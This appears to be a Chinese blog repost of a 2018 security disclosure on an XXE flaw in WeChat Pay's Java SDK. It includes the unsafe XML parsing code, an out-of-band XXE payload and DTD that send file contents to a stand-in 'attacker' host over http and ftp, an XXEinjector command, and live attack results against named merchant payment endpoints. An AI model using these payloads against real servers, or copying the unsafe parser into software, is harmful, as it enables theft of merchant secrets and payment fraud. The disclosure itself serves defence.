Seclists.Org: 微信支付SDK存在XXE漏洞

为了商家可以接受异步支付的结果,微信无意中在Java版本的SDK中造成了XXE漏洞。通过利用该漏洞,攻击者可以构造恶意的XML格式的CallBack回调数据窃取商家服务器上的信息,而从这些信息中,攻击者可能获取到十分关键的MD5安全密钥从而实现无需付款即购买商品。

信息来源:http://seclists.org/fulldisclosure/2018/Jul/3

信息源原标题:XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)

简讯:

为了商家可以接受异步支付的结果,微信无意中在Java版本的SDK中造成了XXE漏洞。通过利用该漏洞,攻击者可以构造恶意的XML格式的CallBack回调数据窃取商家服务器上的信息,而从这些信息中,攻击者可能获取到十分关键的MD5安全密钥从而实现无需付款即购买商品。

漏洞详情如下:

(整理自:http://seclists.org/fulldisclosure/2018/Jul/3

【标题】

XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)

——————————————

【背景】

“Mobile payments surge to $9 trillion a year, changing how people shop,
borrow—even panhandle”, as WSJ.com once reported. As a payment security
researcher, I occasionally found a perilous problem about WeChat Pay which
I think may be esay to make use of. Therefore, I hope to be able to
contact with WeChat Pay quickly.

——————————————

【描述】

When using WeChat payment merchants need providing a notification URL
to accept asynchronous payment results. Unfortunately, WeChat
unintentionally provides a xxe vulnerability in the JAVA version SDK which
handles this result. The attacker can build malicious payload towards the
notification URL to steal any information of the merchant server as he or
she want. Once the attacker get the crucial security key (md5-key and
merchant-Id etc.) of the merchant , he can even buy anything without paying
by just sending forged info to deceive the merchants.

WeChat can fix it by updating the SDK quite easily, however the bad side

is while exposing merchants may need a long time to go for the sake of time,
cost and skills needed.

——————————————

【作者】

1024fresher

——————————————

【细节】

The SDK in this page: https://pay.weixin.qq.com/wiki/doc/api/jsapi.php
chapter=11_1

Just in java vision:
https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip

or
https://drive.google.com/file/d/1AoxfkxD7Kokl0uqILaqTnGAXSUR1o6ud/view(
Backup )

README.md in WxPayApi_JAVA_v3.zip,it show more details:

notify code example:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
String notifyData = "....";
MyConfig config = new MyConfig();
WXPay wxpay = new WXPay(config);
//conver to map
Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);
if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {
//do business logic
}
else {
}
String notifyData = "...."; MyConfig config = new MyConfig(); WXPay wxpay = new WXPay(config); //conver to map Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData); if (wxpay.isPayResultNotifySignatureValid(notifyMap)) { //do business logic } else { }
String notifyData = "....";

MyConfig config = new MyConfig();

WXPay wxpay = new WXPay(config);

//conver to map

Map<String, String> notifyMap = WXPayUtil.xmlToMap(notifyData);

if (wxpay.isPayResultNotifySignatureValid(notifyMap)) {

//do business logic

}

else {

}

WXPayUtil source code

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
public static Map<String, String> xmlToMap(String strXML) throws
Exception {
try {
Map<String, String> data = new HashMap<String, String>();
/*** not disabled xxe *****/
//start parse
DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();
DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);
//end parse
doc.getDocumentElement().normalize();
NodeList nodeList = doc.getDocumentElement().getChildNodes();
for (int idx = 0; idx < nodeList.getLength(); ++idx) {
Node node = nodeList.item(idx);
if (node.getNodeType() == Node.ELEMENT_NODE) {
org.w3c.dom.Element element = (org.w3c.dom.Element) node
;
data.put(element.getNodeName(), element.getTextContent
());
}
}
try {
stream.close();
} catch (Exception ex) {
// do nothing
}
return data;
} catch (Exception ex) {
WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);
throw ex;
}
}
public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); /*** not disabled xxe *****/ //start parse DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes( "UTF-8")); org.w3c.dom.Document doc = documentBuilder.parse(stream); //end parse doc.getDocumentElement().normalize(); NodeList nodeList = doc.getDocumentElement().getChildNodes(); for (int idx = 0; idx < nodeList.getLength(); ++idx) { Node node = nodeList.item(idx); if (node.getNodeType() == Node.ELEMENT_NODE) { org.w3c.dom.Element element = (org.w3c.dom.Element) node ; data.put(element.getNodeName(), element.getTextContent ()); } } try { stream.close(); } catch (Exception ex) { // do nothing } return data; } catch (Exception ex) { WXPayUtil.getLogger().warn("Invalid XML, can not convert to map. Error message: {}. XML content: {}", ex.getMessage(), strXML); throw ex; } }
public static Map<String, String> xmlToMap(String strXML) throws
Exception {

try {

Map<String, String> data = new HashMap<String, String>();

/*** not disabled xxe *****/

//start parse

DocumentBuilderFactory documentBuilderFactory =
DocumentBuilderFactory.newInstance();

DocumentBuilder documentBuilder =
documentBuilderFactory.newDocumentBuilder();

InputStream stream = new ByteArrayInputStream(strXML.getBytes(
"UTF-8"));

org.w3c.dom.Document doc = documentBuilder.parse(stream);

//end parse

doc.getDocumentElement().normalize();

NodeList nodeList = doc.getDocumentElement().getChildNodes();

for (int idx = 0; idx < nodeList.getLength(); ++idx) {

Node node = nodeList.item(idx);

if (node.getNodeType() == Node.ELEMENT_NODE) {

org.w3c.dom.Element element = (org.w3c.dom.Element) node
;

data.put(element.getNodeName(), element.getTextContent
());

}

}

try {

stream.close();

} catch (Exception ex) {

// do nothing

}

return data;

} catch (Exception ex) {

WXPayUtil.getLogger().warn("Invalid XML, can not convert to
map. Error message: {}. XML content: {}", ex.getMessage(), strXML);

throw ex;

}

}

——————————————

【攻击演示】

Post merchant notification url with payload:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % attack SYSTEM "file:///etc/">
<!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>
%xxe;
]>
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE root [ <!ENTITY % attack SYSTEM "file:///etc/"> <!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";> %xxe; ]>
<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE root [

<!ENTITY % attack SYSTEM "file:///etc/">

<!ENTITY % xxe SYSTEM "http://attacker:8080/shell/data.dtd";>

%xxe;

]>

data.dtd:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack;
'>">
%shell;
%upload;
<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack; '>"> %shell; %upload;
<!ENTITY % shell "<!ENTITY &#x25; upload SYSTEM 'ftp://attack:33/%attack;
'>">

%shell;

%upload;

or use XXEinjector tool 【https://github.com/enjoiz/XXEinjector】

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl
ruby XXEinjector.rb --host=attacker --path=/etc --file=req.txt --ssl

req.txt :

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
POST merchant_notification_url HTTP/1.1
Host: merchant_notification_url_host
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 57
Content-Type: application/x-www-form-urlencoded
XXEINJECT
POST merchant_notification_url HTTP/1.1 Host: merchant_notification_url_host User-Agent: curl/7.43.0 Accept: */* Content-Length: 57 Content-Type: application/x-www-form-urlencoded XXEINJECT
POST merchant_notification_url HTTP/1.1

Host: merchant_notification_url_host

User-Agent: curl/7.43.0

Accept: */*

Content-Length: 57

Content-Type: application/x-www-form-urlencoded

XXEINJECT

In order to prove this, I got 2 chinese famous company:

a、momo: Well-known chat tools like WeChat

b、vivo :China’s famous mobile phone,that also famous in my country

Example momo :

attack:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
notify url: https://pay.immomo.com/weixin/notify
cmd: /home/
notify url: https://pay.immomo.com/weixin/notify cmd: /home/
notify url: https://pay.immomo.com/weixin/notify

cmd: /home/

result:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
***
logs
zhang.jiax**
zhang.shaol**
zhang.xia**
****
*** logs zhang.jiax** zhang.shaol** zhang.xia** ****
***

logs

zhang.jiax**

zhang.shaol**

zhang.xia**

****

attack:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
notify url: https://pay.immomo.com/weixin/notify
cmd: /home/logs
notify url: https://pay.immomo.com/weixin/notify cmd: /home/logs
notify url: https://pay.immomo.com/weixin/notify

cmd: /home/logs

result:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
***
moa-service
momotrace
****
*** moa-service momotrace ****
***

moa-service

momotrace

****

Example vivo :

attack:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/

result:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
tomcat
tomcat
tomcat

attack:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/tomcat
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/tomcat

result:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
.bash_logout
.bash_profile
.bashrc
logs
.bash_logout .bash_profile .bashrc logs
.bash_logout

.bash_profile

.bashrc

logs

attack:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo
cmd: /home/tomcat/logs
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo cmd: /home/tomcat/logs
notify url: https://pay.vivo.com.cn/webpay/wechat/callback.oo

cmd: /home/tomcat/logs

result:

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
****
tomcat-2018-06-28.log
tomcat-2018-06-29.log
tomcat-2018-06-30.log
*****
**** tomcat-2018-06-28.log tomcat-2018-06-29.log tomcat-2018-06-30.log *****
****

tomcat-2018-06-28.log

tomcat-2018-06-29.log

tomcat-2018-06-30.log

*****

——————————————

【参考】

https://www.youtube.com/watch?v=BZOg_NgvP18

https://www.blackhat.com/docs/us-15/materials/us-15-Wang-FileCry-The-New-Age-Of-XXE-java-wp.pdf

附:

信息源截图:

截图来源:XXE in WeChat Pay Sdk ( WeChat leave a backdoor on merchant websites)

From http://seclists.org/fulldisclosure/2018/Jul/3
From http://seclists.org/fulldisclosure/2018/Jul/3

荒原之梦网全部内容均为原创,提供了涵盖考研数学基础知识、考研数学真题、考研数学练习题和计算机科学等方面,大量精心研发的学习资源。

豫 ICP 备 17023611 号-1 | 公网安备 - 荒原之梦 豫公网安备 41142502000132 号 | SiteMap
Copyright © 2017-2024 ZhaoKaifeng.com 版权所有 All Rights Reserved.

Copyright © 2024   zhaokaifeng.com   All Rights Reserved.
豫ICP备17023611号-1
 豫公网安备41142502000132号

荒原之梦 自豪地采用WordPress